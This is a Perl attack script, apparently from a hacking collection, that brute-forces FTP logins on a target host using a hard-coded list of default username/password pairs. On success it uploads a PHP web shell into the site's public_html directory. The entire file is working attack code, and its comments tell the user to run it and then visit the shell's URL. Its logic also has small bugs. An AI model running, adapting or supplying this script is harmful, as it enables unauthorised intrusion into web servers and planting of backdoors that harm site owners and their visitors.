use Net::FTP;

##################################################################

#PerlSHELLBRUTE Exploit
#This Script Was Written By MR. P-teo aka Archx
#Net::FTP Support Given By TheEliteNoob
#Works using the Net::FTP Module
#All Credits go to Module creator, Mr. P-teo and TheEliteNoob
                                                                 
##################################################################

#Instructions, Run Exploit, Keep your chosen PHP shell in same dir, 
#(Shell must have name -> sh3llphp.php)if exploit is successfull, 
#visit url.

#ENJOY.

@user = (\"apache\",\"root\", \"admin\", \"username\",\"user\",\"username\",\"admin1\",\"administrator\",\"admin123\",\"123456\",\"12345\",\"admin\",
\"123456789\",\"654321\",\"$hostname\",\"admin\",\"admin\",\"admin\",\"admin\",\"admin\",\"$hostname\",\"123\");
@pass = (\"apache\",\"toor\", \"admin\", \"password\",\"pass\",\"passwd\",\"admin1\",\"administrator\",\"admin123\",\"123456\",\"12345\",\"Password\",
\"123456789\",\"654321\",\"admin\",\"abcd1234\",\"abc123\",\"12345678\",\"111111\",\"passw0rd\",\"$hostname\",\"123\");
$directory = \"/public_html\";

#SHELLNAME

my $shell_trans = \"sh3llphp.php\";

print \"\n\nFTP Hostname: \";
chomp($hostname = <STDIN>);

my $ftp = Net::FTP->new($hostname, Debug => 0, Timeout=>120) or die \"Unable To locate Host - $hostname\";
my $num = -1;
foreach(@user){
	$num++;
}	
my $response = 1;
my $cred = 0;
while($cred != $num){
	$user = @user[$cred];
	$passwd = @pass[$cred];
	my $fail = 0;
	print \"\n#Attempting To Get Credentials...\";
	$ftp->login($user, $passwd, Timeout=>150) or $fail = 1;
	$cred++;
	if ($fail == 1) {
		next;
	}elsif($fail == 0){
		print \"\n#Connection Established...\n\";		
		$ftp->cwd($directory); 
		print \"#Preparing To Transfer Shell...\n\";
		$ftp->put($shell_trans) or $upload = 1;
		if($upload == 1){
			print \"#ERROR Uploading Shell...\n\";
		}else{
			print \"#Shell Uploaded, Exploit Complete...\n\";
		}
		$ftp->quit;
		last;	
	}
}
if($response == 1){
	print \"\n\nCredentials Not Found, Connection Could Not Be Established.\n\n\";
}